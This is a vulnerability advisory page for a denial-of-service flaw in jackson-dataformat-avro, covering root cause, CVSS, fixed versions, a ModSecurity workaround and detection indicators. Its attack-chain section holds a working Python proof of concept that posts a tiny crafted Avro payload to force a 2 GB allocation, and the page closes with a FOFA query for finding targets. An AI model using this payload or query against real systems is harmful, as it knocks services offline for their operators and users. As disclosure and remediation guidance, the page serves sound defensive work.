CVE Professor
/
All CVEs
CVE-2026-104015

CVE-2026-104015 — FasterXML Jackson-dataformat-avro (2.18.11) — CWE-789

HIGH CVSS 7.5 NVD

In jackson-dataformat-avro, decodeBytes() in both the default native decoder (JacksonAvroParserImpl) and the Apache-decoder variant (ApacheAvroParserImpl) allocates a byte[] directly from the attacker-controlled length prefix of an Avro bytes value, without checking it against the remaining input or any limit. A payload of about 5 bytes can force an allocation of up to about 2 GB before any data is read, causing an OutOfMemoryError and denial of service. Decimal fields decoded through decodeBytesDecimal are affected the same way. This affects com.fasterxml.jackson.dataformat:jackson-dataformat-avro 2.9.0 through 2.18.11, 2.19.0 through 2.21.7 and 2.22.0 through 2.22.3, and tools.jackson.dataformat:jackson-dataformat-avro 3.0.0 through 3.1.7 and 3.2.0 through 3.2.3. It is fixed in 2.18.12, 2.21.8, 2.22.4, 3.1.8 and 3.2.4.

In jackson-dataformat-avro, decodeBytes() in both the default native decoder (JacksonAvroParserImpl) and the Apache-decoder variant (ApacheAvroParserImpl) allocates a byte[] directly from the attacker-controlled length prefix of an Avro bytes value, without checking it against the remaining input or any limit. A payload of about 5 bytes can force an allocation of up to about 2 GB before any data is read, causing an OutOfMemoryError and denial of service. Decimal fields decoded through decodeBytesDecimal are affected the same way. This affects com.fasterxml.jackson.dataformat:jackson-dataformat-avro 2.9.0 through 2.18.11, 2.19.0 through 2.21.7 and 2.22.0 through 2.22.3, and tools.jackson.dataformat:jackson-dataformat-avro 3.0.0 through 3.1.7 and 3.2.0 through 3.2.3. It is fixed in 2.18.12, 2.21.8, 2.22.4, 3.1.8 and 3.2.4.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Denial of Service (DoS) flaw classified under CWE-789: Uncontrolled Resource Consumption.

The technical root cause lies in the jackson-dataformat-avro library's handling of Avro bytes and decimal data types. Specifically, in the methods decodeBytes() (within JacksonAvroParserImpl and ApacheAvroParserImpl) and decodeBytesDecimal, the library reads a length prefix from the input stream to determine the size of the incoming byte array.

The Flaw:
The code allocates a byte[] object in memory based solely on this attacker-controlled length prefix. It fails to:
1. Verify that the declared length does not exceed the remaining bytes in the input stream.
2. Check the declared length against any configured maximum size limit.

Because Avro uses variable-length zigzag encoding for integers, an attacker can craft a minimal payload (approx. 5 bytes) that decodes to a massive integer (e.g., ~2 GB). The JVM will attempt to allocate this memory immediately. If the heap size is insufficient, this triggers an OutOfMemoryError (OOM), crashing the application or the worker thread, leading to service unavailability.

CVSS Vector Analysis:

  • AV:N/AC:L/PR:N/UI:N: Network-exploitable, low complexity, no authentication required.

  • S:U: Scope is unchanged (the crash affects the vulnerable application, not the underlying OS or other services directly).

  • C:N/I:N/A:H: No confidentiality or integrity impact; High availability impact due to potential process termination or thread starvation.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies that the target application uses Apache Avro for data serialization. This is common in big data pipelines, Kafka consumers, or microservices exchanging binary data.
  • Version Enumeration:
  • * Check HTTP headers or response bodies for version clues (rare in binary protocols). * Use dependency scanning tools (e.g., trivy, snyk, dependency-check) if source code or build artifacts are accessible. * Assume the latest vulnerable version (2.18.11, 2.21.7, 2.22.3, 3.1.7, or 3.2.3) if version is unknown, as the vulnerability exists across a wide range.

    2. Exploitation

    The attacker sends a crafted Avro binary payload to an endpoint that accepts Avro-encoded data (e.g., a REST API endpoint accepting application/octet-stream or application/avro-binary).

    Illustrative PoC (Python):
    Note: The exact endpoint URI depends on the application. This example assumes a generic /api/ingest endpoint that parses Avro bytes.

    import struct
    import requests
    
    def create_malicious_avro_bytes_payload():
        """
        Creates a minimal Avro bytes payload that declares a huge length.
        Avro uses zigzag varint for length.
        We need a varint that decodes to a large number, e.g., 2GB (2147483648).
        
        Zigzag encoding: (n << 1) ^ (n >> 31)
        For 2GB: 2147483648
        Encoded varint: 
        2147483648 in binary: 10000000000000000000000000000000
        Zigzag: (2147483648 << 1) ^ (2147483648 >> 31) = 4294967296 ^ 0 = 4294967296
        Varint encoding of 4294967296:
        4294967296 = 0x100000000
        In 7-bit chunks:
        0x100000000 >> 0 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
        0x100000000 >> 7 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
        0x100000000 >> 14 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
        0x100000000 >> 21 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
        0x100000000 >> 28 & 0x7F = 0x10 (no continuation) -> 0x10
        So varint bytes: b'\x80\x80\x80\x80\x10'
        
        The Avro bytes schema expects: [varint_length][bytes]
        We provide the length but no actual bytes (or minimal bytes).
        """
        length_varint = b'\x80\x80\x80\x80\x10'  # Decodes to 2147483648 (2GB)
        # The parser will try to allocate 2GB.
        # We can send just the length, or length + 1 byte to trigger the read attempt.
        payload = length_varint + b'\x00'
        return payload
    
    # Example request
    url = "http://target-host:8080/api/ingest"
    headers = {"Content-Type": "application/octet-stream"}
    data = create_malicious_avro_bytes_payload()
    
    try:
        response = requests.post(url, data=data, headers=headers, timeout=5)
        print(f"Status: {response.status_code}")
        # Expecting 500 Internal Server Error or connection reset due to OOM
    except requests.exceptions.ConnectionError:
        print("Connection reset - likely OOM crash")

    Mechanism:
    1. The server receives the 6-byte payload.
    2. JacksonAvroParserImpl.decodeBytes() reads the varint b'\x80\x80\x80\x80\x10'.
    3. It decodes this to 2147483648 (2 GB).
    4. It executes new byte[2147483648].
    5. If the JVM heap is < 2 GB, an OutOfMemoryError is thrown.
    6. If the error is not caught gracefully, the thread dies. If it's a single-threaded service or the error propagates to the container orchestrator, the service restarts or crashes.

    3. Post-exploitation

  • Impact: The primary impact is Denial of Service.
  • Persistence: None. The attacker does not gain code execution or data access.
  • Escalation: Not directly possible via this CVE. However, repeated DoS can disrupt business operations, hide other attacks, or cause cascading failures in dependent microservices.
  • 🌍 Real World Impact

  • Availability (High):
  • * Application Crash: Unhandled OutOfMemoryError can terminate the JVM process. * Thread Starvation: If the error is caught but the thread is not properly reset, it may hang or consume resources, reducing throughput. * Service Disruption: In high-availability setups, repeated crashes can trigger failover, increasing latency and load on backup nodes.
  • Confidentiality (None): No data is leaked.
  • Integrity (None): No data is modified.
  • Practical Consequences:

  • Big Data Pipelines: Kafka consumers using Avro serialization will crash, causing message backlog and data loss if not properly configured with retries.

  • Microservices: Any service accepting Avro payloads (e.g., via REST or gRPC) is vulnerable. A single malicious request can take down the service.

  • Cloud Environments: In Kubernetes, OOMKilled pods will restart, potentially causing a crash loop if the attack is sustained.
  • 🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

    Upgrade jackson-dataformat-avro to a fixed version:
  • 2.x Line: 2.18.12, 2.21.8, or 2.22.4
  • 3.x Line: 3.1.8 or 3.2.4
  • Maven Example:

    <dependency>
        <groupId>com.fasterxml.jackson.dataformat</groupId>
        <artifactId>jackson-dataformat-avro</artifactId>
        <version>2.22.4</version> <!-- Use latest fixed version -->
    </dependency>

    2. Workarounds (If Immediate Upgrade is Not Possible)

    A. JVM Heap Limiting

    Set a strict -Xmx (max heap) value that is lower than the potential allocation (e.g., 512MB). This ensures that a 2GB allocation request will fail fast with an OutOfMemoryError rather than consuming all system memory. However, this does not prevent the crash; it just makes it more predictable.

    B. WAF/ModSecurity Rule

    Block requests with Content-Type: application/octet-stream or application/avro-binary that are very small in size but claim to contain large data. Since the vulnerability is triggered by a small payload declaring a large length, a size-based filter can be effective.

    ModSecurity Rule (Illustrative):

    # Block small Avro payloads that might contain malicious length prefixes
    SecRule REQUEST_HEADERS:Content-Type "application/(octet-stream|avro-binary)" \
        "id:100001,phase:2,deny,status:403,msg:'Potential Avro DoS Attack',log"
    
    # Additionally, monitor for small body sizes
    SecRule REQUEST_LENGTH "< 100" \
        "id:100002,phase:2,pass,setvar:tx.avro_suspicious=1,log"

    Note: This is a heuristic. A more robust solution is to validate the Avro schema and length prefixes at the application layer before passing to Jackson.

    C. Application-Level Validation

    If you control the application code, wrap the Avro parsing logic in a try-catch block that specifically handles OutOfMemoryError and returns a 400 Bad Request instead of crashing. However, this is a band-aid; upgrading is strongly recommended.

    3. Detection & IoCs

    Web Server Logs:

  • Look for 500 Internal Server Error responses to endpoints accepting binary data.

  • Search for OutOfMemoryError in application logs:
  • java.lang.OutOfMemoryError: Java heap space
  • Check for rapid restarts of the application container/process.
  • Network Traffic:

  • Small HTTP POST requests (e.g., < 100 bytes) with Content-Type: application/octet-stream or application/avro-binary.

  • Repeated requests from the same IP to binary ingestion endpoints.
  • Application Logs:

  • Stack traces showing com.fasterxml.jackson.dataformat.avro.JacksonAvroParserImpl.decodeBytes or ApacheAvroParserImpl.decodeBytes in the call stack.
  • ⚠️ Urgency

  • CVSS Score: 7.5 (HIGH)
  • CISA KEV: No
  • Exploit Complexity: Low (trivial to craft payload)
  • Authentication: None required
Patching Priority: HIGH

While not in the CISA KEV catalog, this vulnerability is trivially exploitable and requires no authentication. Any internet-facing service using jackson-dataformat-avro is at immediate risk of DoS. Given the low complexity and high impact on availability, this should be patched immediately (within 24-48 hours) for production systems. If the service is internal-only, patch within the next maintenance window.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="FasterXML jackson-dataformat-avro"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-789
Affected Products (2)
FasterXML:jackson-dataformat-avro (2.18.11) FasterXML:jackson-dataformat-avro (3.1.7)
References & Advisories (4)
Related CVEs
7.1
CVE-2026-144683
plv8 through 3.2.5 contains an unbounded stack allocation vulnerability in GetJsonbValue that allows low-privi
6.0
CVE-2026-144664
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
5.3
CVE-2026-145063
Trigger.dev before 4.8.6 does not enforce a request body size limit on its single sign-on endpoint, allowing t
4.6
CVE-2026-144454
Signal-Android 4.71.0 before 7.56.5 contains an uncontrolled memory allocation vulnerability in its APNG decod
7.5
CVE-2026-61657
Zserio is a framework for serializing structured data with a compact and efficient way with low overhead. The
6.9
CVE-2026-142186
Glide through 4.2.1 contains a resource limit bypass vulnerability that allows remote unauthenticated attacker
6.5
CVE-2026-142316
Gonic through 0.23.0 contains a memory exhaustion vulnerability in the POST /admin/change_avatar_do handler th